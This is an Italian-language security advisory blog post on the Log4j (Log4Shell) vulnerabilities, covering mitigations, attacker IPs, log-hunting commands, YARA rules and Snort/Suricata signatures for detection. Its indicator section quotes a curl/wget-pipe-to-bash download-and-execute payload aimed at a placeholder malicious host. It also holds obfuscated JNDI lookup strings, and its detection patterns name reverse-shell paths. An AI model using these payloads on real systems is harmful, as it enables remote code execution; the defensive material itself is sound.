Log4j – Attacchi informatici e Difesa

Pubblicato da u145 il

Durante le prime settimane di Dicembre 2021 sono stati rilevati degli attacchi che coinvolgono la libreria Apache Log4J. Il 12 Dicembre è stato ufficialmente pubblicato un bollettino di sicurezza su una grave vulnerabilità di tipo Remote Command Execution CVE-2021-44228.

I sistemi vulnerabili esposti su rete pubblica sono da considerarsi compromessi a causa dell’attività massiva di exploitation osservata in tutto il mondo.

Apache Software Foundation ha già rilasciato un aggiornamento di sicurezza di emergenza per corregge la vulnerabilità 0-day, la versione che corregge il bug è la 2.15.0.

Contestualmente alla pubblicazione della CVE-2021-44228 di Log4j 2 è stata identificata una vulnerabilità simile per le versioni 1.x dello stesso prodotto, relativa alle configurazioni in cui è previsto l’utilizzo della classe JMSAppender. La vulnerabilità, identificata dalla CVE-2021-4104, in questo caso, non dipende quindi dall’input dell’utente, ma dalla configurazione adottata.


Aggiornamento del 20/12/2021

Sono state identificate nuove vulnerabilità Log4j 2.15.0 (CVE-2021-45046) e 2.16.0 (CVE-2021-45105) distribuite come patch per la versione vulnerabile (2.14.0). Si consiglia di applicare l’aggiornamento alla versione 2.17.0, che corregge i problemi di sicurezza rilevati nelle versioni precedenti.

CVE 2021-45046

La patch per la vulnerabilità CVE-2021-44228 è risultata incompleta, in quanto in alcune configurazioni non di default. Se le configurazioni di logging utilizzano un Pattern Layout non di default con un Context Lookup (ad esempio $${ctx:loginId}), un attaccante con il controllo dei dati di input del Thread Context Map (MDC) può passare dei dati appositamente costruiti usando un JNDI Lookup pattern, provocando in alcuni ambienti operativi un leak di informazioni e l’esecuzione remota di codice, e in tutti gli ambienti un’esecuzione di codice in locale.

Per porre rimedio a questa vulnerabilità Apache ha rilasciato la versione 2.16.0 di Log4j.

CVE 2021-25105

Le versioni di Log4j dalla 2.0-alpha1 fino alla 2.16.0 (tranne la 2.12.3) non forniscono protezione dalla ricorsione non controllata nei self-referential lookup. Un attaccante che dispone del controllo dei dati del Thread contex Map ha la possibilità di causare un Denial of Service (DoS). Questo accade nel caso in cui una stringa appositamente costruita viene interpretata (ad esempio: ${${::-${::-$${::-j}}}})

Per porre rimedio a questa vulnerabilità Apache ha rilasciato la versione 2.17.0 di Log4j.


Apache Log4j Logo

Identificare l’attacco e mitigare il rischio

Paesi di origine delle scansioni

Di seguito una panoramica relativa agli indirizzi IP degli attaccanti:

I dettagli della Vulnerabilità e dell’attacco

I dettagli tecnici per l’identificazione, analisi e mitigazione del rischio compromissione.

Quali applicativi sono stati colpiti

Molti degli applicativi basati su Java sono vulnerabili, tra questi:

  • Elastic Search
  • Elastic LogStash
  • GrayLog2
  • Minecraft (client and server)
  • Neo4J
  • Progetti Apache (Druid, Dubbo, Flink, Flume, Hadoop, Kafka, Solr, Spark, Struts, Tapestry, Wicket)
  • Prodotti VMware (Horizon, vCenter, vRealize, HCX, NSX-T, UAG, Tanzu)
  • Grails
  • Prodotti java custom
  • Redis
  • Video games (e.g. Minecraft)

Dettagli vulnerabilità

In tutte le versioni di Apache Log4j2 (fino alla 2.14.1) si utilizzano le API del Java Naming and Directory Interface (JNDI). Le funzionalità, usate nella configurazione, nei messaggi di log e nei parametri, non proteggono da endpoint basati su LDAP e JNDI controllati da entità malevole. Per cui un attaccante in grado di controllare i messaggi di log o i parametri degli stessi può eseguire codice arbitrario da server LDAP quando la funzionalità di sostituzione del contenuto dei messaggi (Message Lookup Substitution) è abilitata.
Per sfruttare questa vulnerabilità gli aggressori possono inviare una richiesta HTTP contenente una stringa appositamente forgiata in modo da generare un log su Log4j il cui contenuto verrà elaborato in una richiesta tramite interfaccia JNDI (Java Naming and Directory Interface) ad un server malevolo.

L’elaborazione della risposta da parte del server malevolo nel sistema vulnerabile esegue il codice appositamente iniettato dall’aggressore.

Come mitigare la minaccia

Da log4j 2.15.0, la funzionalità di lookup substitution dei messaggi è disabilitata di default, per cui è la soluzione più semplice ed efficace.

Altre possibili soluzioni sono:

  • Nelle versioni precedenti, fino alla 2.10 questa minaccia può essere mitigata impostando le proprietà di sistema:
    • log4j2.formatMsgNoLookups = true
    • LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Nelle versioni precedenti alla 2.10, può essere mitigata rimuovendo la classe JndiLookup class del classpath:
    • zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
  • In Java 8u121 impostare:
    • com.sun.jndi.rmi.object.trustURLCodebase = false
    • com.sun.jndi.cosnaming.object.trustURLCodebase = false

Informazioni sugli attacchi in corso

  • L’interfaccia jndi utilizzata per ottenere (tramite protocollo specifico: dns, ldap, ecc..) l’oggetto java malevolo:
  • Tutte le richieste contengono il payload malevolo (spesso nel campo User-agent o Referer)
  • La maggior parte dei payload sono codificati in Base64:
(curl -s <IP malevolo>:<Porta>/<IP vittima>:<Porta vittima>||wget -q -O- <IP malevolo>:<Porta>/<IP vittima>:<Porta vittima>)|bash

URI utilizzati

URI (da sfruttare per Detection)
/Basic/Command/Base64/<Base64Code>
/a
/callback
/Exploit
/epepap
/b

Metodi di offuscamento

  • ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

IP degli attaccanti

  • 159.65.194.103
  • 159.89.122.19
  • 165.22.213.246
  • 165.227.37.189
  • 167.172.44.255
  • 167.71.13.196
  • 167.99.186.227
  • 176.32.33.14
  • 178.17.174.14
  • 178.62.23.146
  • 195.54.160.149
  • 45.137.21.9
  • 45.155.205.233
  • 61.19.25.207

Identificazione dell’attacco

Dai log applicativi

sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log


sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'


sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;


sudo find /var/log/ -name '*.gz' -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;

YARA

rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft {
   meta:
      description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 70
   strings:
      $x1 = "${jndi:ldap:/"
      $x2 = "${jndi:rmi:/"
      $x3 = "${jndi:ldaps:/"
      $x4 = "${jndi:dns:/"
   condition:
      1 of them
}


rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard {
   meta:
      description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 80
   strings:
$x1 = /${jndi:(ldap|ldaps|rmi|dns):/[/]? [a-z-.0-9] {3,120}:[0-9]{2,5}/[a-zA-Z.] {1,32}} /
$fp1r = /(ldap|rmi|ldaps|dns):/[/]? (127.0.0.1|192.168.| 172.[1-3][0-9].| 10.)/
   condition:
      $x1 and not 1 of ($fp*)
}


rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
   meta:
      description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/Reelix/status/1469327487243071493"
      date = "2021-12-10"
      score = 70
   strings:
      /* curl -s  */
      $sa1 = "Y3VybCAtcy"
      $sa2 = "N1cmwgLXMg"
      $sa3 = "jdXJsIC1zI"
      /* |wget -q -O-  */
      $sb1 = "fHdnZXQgLXEgLU8tI"
      $sb2 = "x3Z2V0IC1xIC1PLS"
      $sb3 = "8d2dldCAtcSAtTy0g"
   condition:
      1 of ($sa*) and 1 of ($sb*)
}


rule SUSP_JDNIExploit_Indicators_Dec21 {
   meta:
      description = "Detects indicators of JDNI usage in log files and other payloads"
      author = "Florian Roth"
      reference = "https://github.com/flypig5211/JNDIExploit"
      date = "2021-12-10"
      score = 70
   strings:
$xr1 = /ldap://[a-zA-Z0-9.] {7,80}:[0-9]{2, 5}/(Basic/Command/Base64| Basic/ReverseShell| Basic/TomcatMemshell| Basic/JBossMemshell| Basic/WebsphereMemshell| Basic/SpringMemshell| Basic/Command| Deserialization/CommonsCollectionsK| Deserialization/CommonsBeanutils| Deserialization/Jre8u20/TomcatMemshell| Deserialization/CVE_2020_2555/WeblogicMemshell| TomcatBypass| GroovyBypass| WebsphereBypass)//
   condition:
      filesize < 100MB and $xr1
}


rule SUSP_EXPL_OBFUSC_Dec21_1{
   meta:
      description = "Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/testanull/status/1469549425521348609"
      date = "2021-12-11"
      score = 60
   strings:
      /* ${lower:X} - single character match */
      $ = { 24 7B 6C 6F 77 65 72 3A ?? 7D }
      /* ${upper:X} - single character match */
      $ = { 24 7B 75 70 70 65 72 3A ?? 7D }
      /* URL encoded lower - obfuscation in URL */
      $ = "$%7blower:"
      $ = "$%7bupper:"
      $ = "%24%7bjndi:"
      $ = "/$%7bjndi:"
   condition:
      1 of them
}

Intrusion Detection: Snort/Suricata

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp rmi) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034652; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034651; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp dns) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034653; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034654; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034655; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldaps) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034656; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034657; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)


alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034658; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

ATTACK PAYLOAD

https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

C2 DOMAIN NAME

https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8

ATTACK IP

https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

Informazioni sui servizi Fortgale

Contatti